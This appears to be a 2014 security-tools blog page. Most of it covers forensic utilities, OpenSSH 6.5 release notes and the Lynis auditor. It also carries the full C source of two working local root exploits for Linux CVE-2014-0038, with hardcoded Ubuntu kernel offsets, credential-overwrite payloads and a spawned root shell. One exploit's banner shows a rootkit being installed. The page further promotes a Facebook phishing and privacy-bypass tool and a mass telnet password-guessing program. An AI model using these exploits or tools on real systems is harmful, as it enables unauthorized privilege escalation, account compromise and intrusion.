Tuesday, 4 February 2014

[FBHT v2.0] Facebook Hacking Tool



FBHT (Facebook Hacking Tool) is an open-source tool written in Python that exploits multiple vulnerabilities on the Facebook platform


The tool provides:
  • Tests account handling (Create, Delete, Friend, Accept)
  • Youtube videos phishing
  • Facebook links preview modification
  • Friends list privacy bypass
  • Graph support
  • Facebook links preview modification
  • More...

Collection Of Free Computer Forensic Tools



Disk tools and data capture

Name
From
Description
DumpItMoonSolsGenerates physical memory dump of Windows machines, 32 bits 64 bit. Can run from a USB flash drive.
EnCase Forensic ImagerGuidance SoftwareCreate EnCase evidence files and EnCase logical evidence files [direct download link]
Encrypted Disk Detector*Magnet ForensicsChecks local physical drives on a system for TrueCrypt, PGP, or Bitlocker encrypted volumes
EWF MetaEditor4DiscoveryEdit EWF (E01) meta data, remove passwords (Encase v6 and earlier)
FAT32 FormatRidgecropEnables large capacity disks to be formatted as FAT32
Forensics Acquisition of WebsitesWeb Content Protection AssociationBrowser designed to forensically capture web pages
FTK Imager*AccessDataImaging tool, disk viewer and image mounter
Guymagervogu00Multi-threaded GUI imager under running under Linux
HotSwapKazuyuki NakayamaSafely remove SATA disks similar to the “Safely Remove Hardware” icon in the notification area
LiveViewCERTAllows examiner to boot dd images in VMware.
P2 Explorer FreeParabenMount forensic images as read-only local logical and physical disks
Live RAM Capturer*BelkasoftExtracts RAM dump including that protected by an anti-debugging or anti-dumping system. 32 and 64 bit builds
OSFClonePassmark SoftwareBoot utility for CD/DVD or USB flash drives to create dd or AFF images/clones.
OSFMountPassmark SoftwareMounts a wide range of disk images. Also allows creation of RAM disks
Tableau Imager*TableauImaging tool for use with Tableau imaging products
VHD ToolMicrosoftConverts raw disk images to VHD format which are mountable in Windows Disk Management


Email analysis

Name
From
Description
EDB ViewerLepide SoftwareOpen and view (not export) Outlook EDB files without an Exchange server
Mail ViewerMiTeCViewer for Outlook Express, Windows Mail/Windows Live Mail, Mozilla Thunderbird message databases and single EML files
OST ViewerLepide SoftwareOpen and view (not export) Outlook OST files without connecting to an Exchange server
PST ViewerLepide SoftwareOpen and view (not export) Outlook PST files without needing Outlook


General

Name
From
Description
Agent RansackMythicsoftSearch multiple files using Boolean operators and Perl Regex
CaseNotes LiteBlackthornContemporaneous notes recorder
Computer Forensic Reference Data SetsNISTCollated forensic images for training, practice and validation
EvidenceMover*NuixCopies data between locations, with file comparison, verification, logging
FastCopyShirouzu HiroakiSelf labelled ‘fastest’ copy/delete Windows software. Can verify with SHA-1, etc.
File SignaturesGary KesslerTable of file signatures
HashMyFilesNirsoftCalculate MD5 and SHA1 hashes
MobaLiveCDMobatekRun Linux live CDs from their ISO image without having to boot to them
Mouse JigglerArkane SystemsAutomatically moves mouse pointer stopping screen saver, hibernation etc.
Notepad ++Notepad ++Advanced Notepad replacement
NSRLNISTHash sets of ‘known’ (ignorable) files
Quick HashTed TechnologyA Linux & Windows GUI for individual and recursive SHA1 hashing of files
USB Write BlockerDSiEnables software write-blocking of USB ports
USB Write BlockerSécurité Multi-SecteursSoftware write blocker for Windows XP through to Windows 8
Windows Forensic EnvironmentTroy LarsonGuide by Brett Shavers to creating and working with a Windows boot CD


File and data analysis

Name
From
Description
Advanced Prefetch AnalyserAllan HayReads Windows XP,Vista and Windows 7 prefetch files
analyzeMFTDavid KovarParses the MFT from an NTFS file system allowing results to be analysed with other tools
DefraserVariousDetects full and partial multimedia files in unallocated space
eCryptfs ParserTed TechnologyRecursively parses headers of every eCryptfs file in selected directory. Outputs encryption algorithm used, original file size, signature used, etc.
Encryption AnalyzerPasswareScans a computer for password-protected & encrypted files, reports encryption complexity and decryption options for each file
ExifToolPhil HarveyRead, write and edit Exif data in a large number of file types
Forensic Image ViewerSanderson ForensicsView various picture formats, image enhancer, extraction of embedded Exif, GPS data
HighlighterMandiantExamine log files using text, graphic or histogram views
Link Parser4DiscoveryRecursively parses folders extracting 30+ attributes from Windows .lnk (shortcut) files
LiveContactsViewNirsoftView and export Windows Live Messenger contact details
RSA Netwitness Investigator*EMCNetwork packet capture and analysis
MemoryzeMandiantAcquire and/or analyse RAM images, including the page file on live systems
MetaExtractor4DiscoveryRecursively parses folders to extract meta data from MS Office, OpenOffice and PDF files
MFTviewSanderson ForensicsDisplays and decodes contents of an extracted MFT file
NetSleuthNetGrabNetwork monitoring tool, with covert “silent port scanning”
PictureBoxMike’s Forensic ToolsLists EXIF, and where available, GPS data for all photographs present in a directory. Export data to .xls or Google Earth KML format
PsToolsMicrosoftSuite of command-line Windows utilities
Shadow ExplorerShadow ExplorerBrowse and extract files from shadow copies
Simple File ParserChris MayhewGUI tool for parsing .lnk files, prefetch and jump list artefacts
SQLite ManagerMrinal Kant, Tarakant TripathyFirefox add-on enabling viewing of any SQLite database
StringsMicrosoftCommand-line tool for text searches
Structured Storage ViewerMiTecView and manage MS OLE Structured Storage based files
Switch-a-RooMike’s Forensic ToolsText replacement/converter/decoder for when dealing with URL encoding, etc
Windows File AnalyzerMiTeCAnalyse thumbs.db, Prefetch, INFO2 and .lnk files


Mac OS tools

Name
From
Description
AuditTwocanoes SoftwareAudit Preference Pane and Log Reader for OS X
Disk ArbitratorAaron BurghardtBlocks the mounting of file systems, complimenting a write blocker in disabling disk arbitration
Epoch Converter*Blackbag TechnologiesConverts epoch times to local time and UTC
FTK Imager CLI for Mac OS*AccessDataCommand line Mac OS version of AccessData’s FTK Imager
IORegInfoBlackbag TechnologiesLists items connected to the computer (e.g., SATA, USB and FireWire Drives, software RAID sets). Can locate partition information, including sizes, types, and the bus to which the device is connected
Mac Memory ReaderCyber MarshalCommand-line utility to capture physical RAM from Mac OS systems
PMAP Info*Blackbag TechnologiesDisplays the physical partitioning of the specified device. Can be used to map out all the drive information, accounting for all used sectors


Mobile devices

Name
From
Description
iPhone AnalyzerLeo Crawford, Mat ProudExplore the internal file structure of Pad, iPod and iPhones
ivMetaRobin WoodExtracts phone model and software version and created date and GPS data from iPhone videos.
Rubus*CCL ForensicsDeconstructs Blackberry .ipd backup files
SAFTSignalSEC CorpObtain SMS Messages, call logs and contacts from Android devices
WhatsApp ForensicsZena ForensicsExtract WhatApp messages from iOS and Android backups


Data analysis suites

Name
From
Description
AutopsyBrian CarrierGraphical interface to the command line digital investigation analysis tools in The Sleuth Kit (see below)
BacktrackBacktrackPenetration testing and security audit with forensic boot capability
CaineNanni BassettiLinux based live CD, featuring a number of analysis tools
DeftDr. Stefano Fratepietro and othersLinux based live CD, featuring a number of analysis tools
Digital Forensics FrameworkArxSysAnalyses volumes, file systems, user and applications data, extracting metadata, deleted and hidden items
Forensic ScannerHarlan CarveyAutomates ‘repetitive tasks of data collection’. Fuller description here
Paladin*SumuriUbuntu based live boot CD for imaging and analysis
SIFT*SANSVMware Appliance pre-configured with multiple tools allowing digital forensic examinations
The Sleuth KitBrian CarrierCollection of UNIX-based command line file and volume system forensic analysis tools
Ubuntu guideHow-To GeekGuide to using an Unbuntu live disk to recover partitions, carve files, etc.
Volatility FrameworkVolatile SystemsCollection of tools for the extraction of artefacts from RAM


File viewers

Name
From
Description
Microsoft PowerPoint 2007 ViewerMicrosoftView PowerPoint presentations
Microsoft Visio 2010 ViewerMicrosoftView Visio diagrams
VLCVideoLANView most multimedia files and DVD, Audio CD, VCD, etc.


Internet analysis

Name
From
Description
Chrome Session ParserCCL ForensicsPython module for performing off-line parsing of Chrome session files (“Current Session”, “Last Session”, “Current Tabs”, “Last Tabs”)
ChromeCacheViewNirsoftReads the cache folder of Google Chrome Web browser, and displays the list of all files currently stored in the cache
Cookie CutterMike’s Forensic ToolsExtracts embedded data held within Google Analytics cookies. Shows search terms used as well as dates of and the number of visits.
DumpzillaBusindreRuns in Python 3.x, extracting forensic information from Firefox, Iceweasel and Seamonkey browsers. See manual for more information.
Facebook Profile SaverBelkasoftCaptures information publicly available in Facebook profiles.
IECookiesViewNirsoftExtracts various details of Internet Explorer cookies
IEPassViewNirsoftExtract stored passwords from Internet Explorer versions 4 to 8
MozillaCacheViewNirsoftReads the cache folder of Firefox/Mozilla/Netscape Web browsers
MozillaCookieViewNirsoftParses the cookie folder of Firefox/Mozilla/Netscape Web browsers
MozillaHistoryViewNirsoftReads the history.dat of Firefox/Mozilla/Netscape Web browsers, and displays the list of all visited Web page
MyLastSearchNirsoftExtracts search queries made with popular search engines (Google, Yahoo and MSN) and social networking sites (Twitter, Facebook, MySpace)
PasswordFoxNirsoftExtracts the user names and passwords stored by Mozilla Firefox Web browser
OperaCacheViewNirsoftReads the cache folder of Opera Web browser, and displays the list of all files currently stored in the cache
OperaPassViewNirsoftDecrypts the content of the Opera Web browser password file, wand.dat
Web HistorianMandiantReviews list of URLs stored in the history files of the most commonly used browsers
Web Page Saver*Magnet ForensicsTakes list of URLs saving scrolling captures of each page. Produces HTML report file containing the saved pages


Registry analysis

Name
From
Description
ForensicUserInfoWoanwareExtracts user information from the SAM, SOFTWARE and SYSTEM hives files and decrypts the LM/NT hashes from the SAM file
Process MonitorMicrosoftExamine Windows processes and registry threads in real time
Registry DecoderUS National Institute of Justice, Digital Forensics SolutionsFor the acquisition, analysis, and reporting of registry contents
RegRipperHarlan CarveyRegistry data extraction and correlation tool
RegshotRegshotTakes snapshots of the registry allowing comparisons e.g., show registry changes after installing software
sbagTZWorksExtracts data from Shellbag entries
USB Device ForensicsWoanwareDetails previously attached USB devices on exported registry hives
USB Historian4DiscoveryDisplays 20+ attributes relating to USB device use on Windows systems
USBDeviewNirsoftDetails previously attached USB devices
User Assist Analysis4DiscoveryExtracts SID, User Names, Indexes, Application Names, Run Counts, Session, and Last Run Time Attributes from UserAssist keys
UserAssistDidier StevensDisplays list of programs run, with run count and last run date and time
Windows Registry RecoveryMiTecExtracts configuration settings and other information from the Registry


Application analysis

Name
From
Description
Dropbox Decryptor*Magnet ForensicsDecrypts the Dropbox filecache.dbx file which stores information about files that have been synced to the cloud using Dropbox
Google Maps Tile Investigator*Magnet ForensicsTakes x,y,z coordinates found in a tile filename and downloads surrounding tiles providing more context
KaZAlyserSanderson ForensicsExtracts various data from the KaZaA application
LiveContactsViewNirsoftView and export Windows Live Messenger contact details
SkypeLogViewNirsoftView Skype calls and chats


Abandonware

Name
From
Description
DCodeDigital DetectiveConverts various data types to date/time values
iPhone Backup BrowserRene DevichiView unencrypted backups of iPad, iPod and iPhones
ChromeAnalysisFoxton SoftwareAnalysis of internet history data generated using Google Chrome
IEHistoryViewNirsoftExtracts recently visited Internet Explorer URLs



Exploit Linux 3.4+ Local Root (CONFIG_X86_X32=y)


OSVDB-ID: 2014-0038
Author: rebel
Published: 2014-02-02
/*
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------

takes about 13 minutes to run because timeout->tv_sec is decremented
once per second and 0xff*3 is 765.

some things you could do while waiting:
* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
* brew some coffee
* stare at the countdown giggly with anticipation

could probably whack the high bits of some pointer with nanoseconds,
but that would require a bunch of nulls before the pointer and then
reading an oops from dmesg which isn't that elegant.

&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes

hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
anyway..

same principle will work on 32bit but I didn't really find any major
distros shipping with CONFIG_X86_X32=y

user@ubuntu:~$ uname -a
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
user@ubuntu:~$ ./recvmmsg
byte 3 / 3.. ~0 secs left.
w00p w00p!
# id
uid=0(root) gid=0(root) groups=0(root)
# sh phalanx-2.6b-x86_64.sh
unpacking..

:)=

greets to my homeboys kaliman, beist, capsl & all of #social

Sat Feb 1 22:15:19 CET 2014
% rebel %
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200

int port;

struct offset {
char *kernel_version;
unsigned long dest; // net_sysctl_root + 96
unsigned long original_value; // net_ctl_permissions
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
};

struct offset offsets[] = {
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
{NULL,0,0,0,0}
};

void udp(int b) {
int sockfd;
struct sockaddr_in servaddr,cliaddr;
int s = 0xff+1;

if(fork() == 0) {
while(s > 0) {
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
sleep(1);
s--;
fprintf(stderr,".");
}

sockfd = socket(AF_INET,SOCK_DGRAM,0);
bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
servaddr.sin_port=htons(port);
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
exit(0);
}

}

void trigger() {
open("/proc/sys/net/core/somaxconn",O_RDONLY);

if(getuid() != 0) {
fprintf(stderr,"not root, ya blew it!\n");
exit(-1);
}

fprintf(stderr,"w00p w00p!\n");
system("/bin/sh -i");
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}

void __attribute__((regparm(3)))
trampoline()
{
asm("mov $getroot, %rax; call *%rax;");
}

int main(void)
{
int sockfd, retval, i;
struct sockaddr_in sa;
struct mmsghdr msgs[VLEN];
struct iovec iovecs[VLEN];
char buf[BUFSIZE];
long mmapped;
struct utsname u;
struct offset *off = NULL;

uname(&u);

for(i=0;offsets[i].kernel_version != NULL;i++) {
if(!strcmp(offsets[i].kernel_version,u.release)) {
off = &offsets[i];
break;
}
}

if(!off) {
fprintf(stderr,"no offsets for this kernel version..\n");
exit(-1);
}

mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
mmapped &= 0x000000ffffffffff;

srand(time(NULL));
port = (rand() % 30000)+1500;

commit_creds = (_commit_creds)off->commit_creds;
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;

mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

if(mmapped == -1) {
perror("mmap()");
exit(-1);
}

memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);

memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);

if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
perror("mprotect()");
exit(-1);
}

sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror("socket()");
exit(-1);
}

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);

if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("bind()");
exit(-1);
}

memset(msgs, 0, sizeof(msgs));

iovecs[0].iov_base = &buf;
iovecs[0].iov_len = BUFSIZE;
msgs[0].msg_hdr.msg_iov = &iovecs[0];
msgs[0].msg_hdr.msg_iovlen = 1;

for(i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
if(!retval) {
fprintf(stderr,"\nrecvmmsg() failed\n");
}
}

close(sockfd);

fprintf(stderr,"\n");

trigger();
}

Exploit Linux 3.4+ Arbitrary write with CONFIG_X86_X32


CVE: 2014-0038
Author: saelo
Published: 2014-02-02

/*
* Local root exploit for CVE-2014-0038.
*
* https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c
*
* Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer
* passed from userspace.
*
* Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg,
* if the original byte at that address is known it can be overwritten
* with known data.
* If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00.
*
* Restrictions: The first long at the passed address (tv_sec) has to be positive
* and the second long (tv_nsec) has to be smaller than 1000000000.
*
* Overview: Target the release function pointer of the ptmx_fops structure located in
* non initialized (and thus writable) kernel memory. Zero out the three most
* significant bytes and thus turn it into a pointer to an address mappable in
* user space.
* The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec
* is valid).
* Open /dev/ptmx, close it and enjoy.
*
* Not very beautiful but should be fairly reliable if symbols can be resolved.
*
* Tested on Ubuntu 13.10
*
* gcc timeoutpwn.c -o pwn && ./pwn
*
* Written by saelo
*/
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/mman.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)

#define BUFSIZE 200
#define PAYLOADSIZE 0x2000
#define FOPS_RELEASE_OFFSET 13*8

/*
* Adapt these addresses for your need.
* see /boot/System.map* or /proc/kallsyms
* These are the offsets from ubuntu 3.11.0-12-generic.
*/
#define PTMX_FOPS 0xffffffff81fb30c0LL
#define TTY_RELEASE 0xffffffff8142fec0LL
#define COMMIT_CREDS 0xffffffff8108ad40LL
#define PREPARE_KERNEL_CRED 0xffffffff8108b010LL

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

/*
* Match signature of int release(struct inode*, struct file*).
*
* See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz
*/
int __attribute__((regparm(3)))
kernel_payload(void* foo, void* bar)
{
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

*((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; // restore pointer
commit_creds(prepare_kernel_cred(0));

return -1;
}

/*
* Write a zero to the byte at then given address.
* Only works if the current value is 0xff.
*/
void zero_out(long addr)
{
int sockfd, retval, port, pid, i;
struct sockaddr_in sa;
char buf[BUFSIZE];
struct mmsghdr msgs;
struct iovec iovecs;

srand(time(NULL));

port = 1024 + (rand() % (0x10000 - 1024));

sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror("socket()");
exit(EXIT_FAILURE);
}

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("bind()");
exit(EXIT_FAILURE);
}

memset(&msgs, 0, sizeof(msgs));
iovecs.iov_base = buf;
iovecs.iov_len = BUFSIZE;
msgs.msg_hdr.msg_iov = &iovecs;
msgs.msg_hdr.msg_iovlen = 1;

/*
* start a seperate process to send a udp message after 255 seconds so the syscall returns,
* but not after updating the timout struct and writing the remaining time into it.
* 0xff - 255 seconds = 0x00
*/
printf("clearing byte at 0x%lx\n", addr);
pid = fork();
if (pid == 0) {
memset(buf, 0x41, BUFSIZE);

if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror("socket()");
exit(EXIT_FAILURE);
}

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);

printf("waiting 255 seconds...\n");
for (i = 0; i < 255; i++) {
if (i % 10 == 0)
printf("%is/255s\n", i);
sleep(1);
}

printf("waking up parent...\n");
sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));
exit(EXIT_SUCCESS);
} else if (pid > 0) {
retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);
if (retval == -1) {
printf("address can't be written to, not a valid timespec struct\n");
exit(EXIT_FAILURE);
}
waitpid(pid, 0, 0);
printf("byte zeroed out\n");
} else {
perror("fork()");
exit(EXIT_FAILURE);
}
}

int main(int argc, char** argv)
{
long code, target;
int pwn;

/* Prepare payload... */
printf("preparing payload buffer...\n");
code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
memset((void*)code, 0x90, PAYLOADSIZE);
code += PAYLOADSIZE - 1024;
memcpy((void*)code, &kernel_payload, 1024);

/*
* Now clear the three most significant bytes of the fops pointer
* to the release function.
* This will make it point into the memory region mapped above.
*/
printf("changing kernel pointer to point into controlled buffer...\n");
target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
zero_out(target + 7);
zero_out(target + 6);
zero_out(target + 5);

/* ... and trigger. */
printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");
pwn = open("/dev/ptmx", 'r');
close(pwn);

if (getuid() != 0) {
printf("failed to get root :(\n");
exit(EXIT_FAILURE);
}

printf("got root, enjoy :)\n");
return execl("/bin/bash", "-sh", NULL);
}

Monday, 3 February 2014

[OpenSSH 6.5] FREE version of the SSH Connectivity Tools



OpenSSH is a FREE version of the SSH connectivity tools that technical users of the Internet rely on. Users of telnet, rlogin, and ftp may not realize that their password is transmitted across the Internet unencrypted, but it is. OpenSSH encrypts all traffic (including passwords) to effectively eliminate eavesdropping, connection hijacking, and other attacks. Additionally, OpenSSH provides secure tunneling capabilities and several authentication methods, and supports all SSH protocol versions.

The OpenSSH suite replaces rlogin and telnet with the sshprogram, rcp with scp, and ftp with sftp. Also included is sshd(the server side of the package), and the other utilities like ssh-add, ssh-agent, ssh-keysign, ssh-keyscan, ssh-keygen and sftp-server.

OpenSSH is developed by the OpenBSD Project. The software is developed in countries that permit cryptography export and is freely useable and re-useable by everyone under a BSD license. However, development has costs, so if you find OpenSSH useful (particularly if you use it in a commercial system that is distributed) please consider donating to help fund the project.

OpenSSH is developed by two teams. One team does strictly OpenBSD-based development, aiming to produce code that is as clean, simple, and secure as possible. We believe that simplicity without the portability "goop" allows for better code quality control and easier review. The other team then takes the clean version and makes it portable (adding the "goop") to make it run on many operating systems -- the so-called -p releases, ie "OpenSSH 4.0p1". 

Changes since OpenSSH 6.4
=========================

This is a feature-focused release.

New features:

* ssh(1), sshd(8): Add support for key exchange using elliptic-curve
Diffie Hellman in Daniel Bernstein's Curve25519. This key exchange
method is the default when both the client and server support it.

* ssh(1), sshd(8): Add support for Ed25519 as a public key type.
Ed25519 is a elliptic curve signature scheme that offers
better security than ECDSA and DSA and good performance. It may be
used for both user and host keys.

* Add a new private key format that uses a bcrypt KDF to better
protect keys at rest. This format is used unconditionally for
Ed25519 keys, but may be requested when generating or saving
existing keys of other types via the -o ssh-keygen(1) option.
We intend to make the new format the default in the near future.
Details of the new format are in the PROTOCOL.key file.

* ssh(1), sshd(8): Add a new transport cipher
"chacha20-poly1305@openssh.com" that combines Daniel Bernstein's
ChaCha20 stream cipher and Poly1305 MAC to build an authenticated
encryption mode. Details are in the PROTOCOL.chacha20poly1305 file.

* ssh(1), sshd(8): Refuse RSA keys from old proprietary clients and
servers that use the obsolete RSA+MD5 signature scheme. It will
still be possible to connect with these clients/servers but only
DSA keys will be accepted, and OpenSSH will refuse connection
entirely in a future release.

* ssh(1), sshd(8): Refuse old proprietary clients and servers that
use a weaker key exchange hash calculation.

* ssh(1): Increase the size of the Diffie-Hellman groups requested
for each symmetric key size. New values from NIST Special
Publication 800-57 with the upper limit specified by RFC4419.

* ssh(1), ssh-agent(1): Support PKCS#11 tokens that only provide
X.509 certs instead of raw public keys (requested as bz#1908).

* ssh(1): Add a ssh_config(5) "Match" keyword that allows
conditional configuration to be applied by matching on hostname,
user and result of arbitrary commands.

* ssh(1): Add support for client-side hostname canonicalisation
using a set of DNS suffixes and rules in ssh_config(5). This
allows unqualified names to be canonicalised to fully-qualified
domain names to eliminate ambiguity when looking up keys in
known_hosts or checking host certificate names.

* sftp-server(8): Add the ability to whitelist and/or blacklist sftp
protocol requests by name.

* sftp-server(8): Add a sftp "fsync@openssh.com" to support calling
fsync(2) on an open file handle.

* sshd(8): Add a ssh_config(5) PermitTTY to disallow TTY allocation,
mirroring the longstanding no-pty authorized_keys option.

* ssh(1): Add a ssh_config ProxyUseFDPass option that supports the
use of ProxyCommands that establish a connection and then pass a
connected file descriptor back to ssh(1). This allows the
ProxyCommand to exit rather than staying around to transfer data.

Bugfixes:

* ssh(1), sshd(8): Fix potential stack exhaustion caused by nested
certificates.

* ssh(1): bz#1211: make BindAddress work with UsePrivilegedPort.

* sftp(1): bz#2137: fix the progress meter for resumed transfer.

* ssh-add(1): bz#2187: do not request smartcard PIN when removing
keys from ssh-agent.

* sshd(8): bz#2139: fix re-exec fallback when original sshd binary
cannot be executed.

* ssh-keygen(1): Make relative-specified certificate expiry times
relative to current time and not the validity start time.

* sshd(8): bz#2161: fix AuthorizedKeysCommand inside a Match block.

* sftp(1): bz#2129: symlinking a file would incorrectly canonicalise
the target path.

* ssh-agent(1): bz#2175: fix a use-after-free in the PKCS#11 agent
helper executable.

* sshd(8): Improve logging of sessions to include the user name,
remote host and port, the session type (shell, command, etc.) and
allocated TTY (if any).

* sshd(8): bz#1297: tell the client (via a debug message) when
their preferred listen address has been overridden by the
server's GatewayPorts setting.

* sshd(8): bz#2162: include report port in bad protocol banner
message.

* sftp(1): bz#2163: fix memory leak in error path in do_readdir().

* sftp(1): bz#2171: don't leak file descriptor on error.

* sshd(8): Include the local address and port in "Connection from
..." message (only shown at loglevel>=verbose).

Portable OpenSSH:

* Please note that this is the last version of Portable OpenSSH that
will support versions of OpenSSL prior to 0.9.6. Support (i.e.
SSH_OLD_EVP) will be removed following the 6.5p1 release.

* Portable OpenSSH will attempt compile and link as a Position
Independent Executable on Linux, OS X and OpenBSD on recent gcc-
like compilers. Other platforms and older/other compilers may
request this using the --with-pie configure flag.

* A number of other toolchain-related hardening options are used
automatically if available, including -ftrapv to abort on signed
integer overflow and options to write-protect dynamic linking
information. The use of these options may be disabled using the
--without-hardening configure flag.

* If the toolchain supports it, one of the -fstack-protector-strong,
-fstack-protector-all or -fstack-protector compilation flag are
used to add guards to mitigate attacks based on stack overflows.
The use of these options may be disabled using the
--without-stackprotect configure option.

* sshd(8): Add support for pre-authentication sandboxing using the
Capsicum API introduced in FreeBSD 10.

* Switch to a ChaCha20-based arc4random() PRNG for platforms that do
not provide their own.

* sshd(8): bz#2156: restore Linux oom_adj setting when handling
SIGHUP to maintain behaviour over retart.

* sshd(8): bz#2032: use local username in krb5_kuserok check rather
than full client name which may be of form user@REALM.

* ssh(1), sshd(8): Test for both the presence of ECC NID numbers in
OpenSSL and that they actually work. Fedora (at least) has
NID_secp521r1 that doesn't work.

* bz#2173: use pkg-config --libs to include correct -L location for
libedit.

Saturday, 1 February 2014

[TYFYP] Massive Telnet Password Tester



Commercial name: TYFYP (Thank you for your password), to the honor of ADTRAN telnet banner motd welcome message.

Please use it ONLY in LAN IPs. This is a very rudimentary program only for investigation purposes. Developed on Retina Display machine, so there may be UI errors in normal resolution screens.

REQUIREMENTS:

  • Windows.
  • .NET Framework v4.5

HOW TO USE:

  • Open TYFYP.exe or complile it in Visual Studio.
  • Select a .txt file with IPs list you want to try.
  • Write a default telnet username, password and enable password.
  • Click "Run".

WHAT IT WILL DO:

  • Check IP by IP telnet username and password.
  • If there is a connection, it will try enable password.
  • You will see green lines in case of successful connection, red lines if not.
  • Clear red lines means there wasn't telnet service listening (or your network connection fails).

FUTURE IMPROVEMENTS:

  • Be able to read telnet user, password and enable password directly from IP list txt. This will allow to try multiples password for each IP.
  • Make it multi-threading.

[Lynis 1.4.0] Security and System Auditing Tool to Harden Linux Systems



Lynis is an auditing tool for Unix/Linux. It performs a security scan and determines the hardening state of the machine. Any detected security issues will be provided in the form of a suggestion or warning. Beside security related information it will also scan for general system information, installed packages and possible configuration errors.

This software aims in assisting automated auditing, hardening, software patch management, vulnerability and malware scanning of Unix/Linux based systems. It can be run without prior installation, so inclusion on read only storage is possible (USB stick, cd/dvd).

Lynis assists auditors in performing Basel II, GLBA, HIPAA, PCI DSS and SOx (Sarbanes-Oxley) compliance audits.

Intended audience:Security specialists, penetration testers, system auditors, system/network managers.

Examples of audit tests:
  • Available authentication methods
  • Expired SSL certificates
  • Outdated software
  • User accounts without password
  • Incorrect file permissions
  • Configuration errors
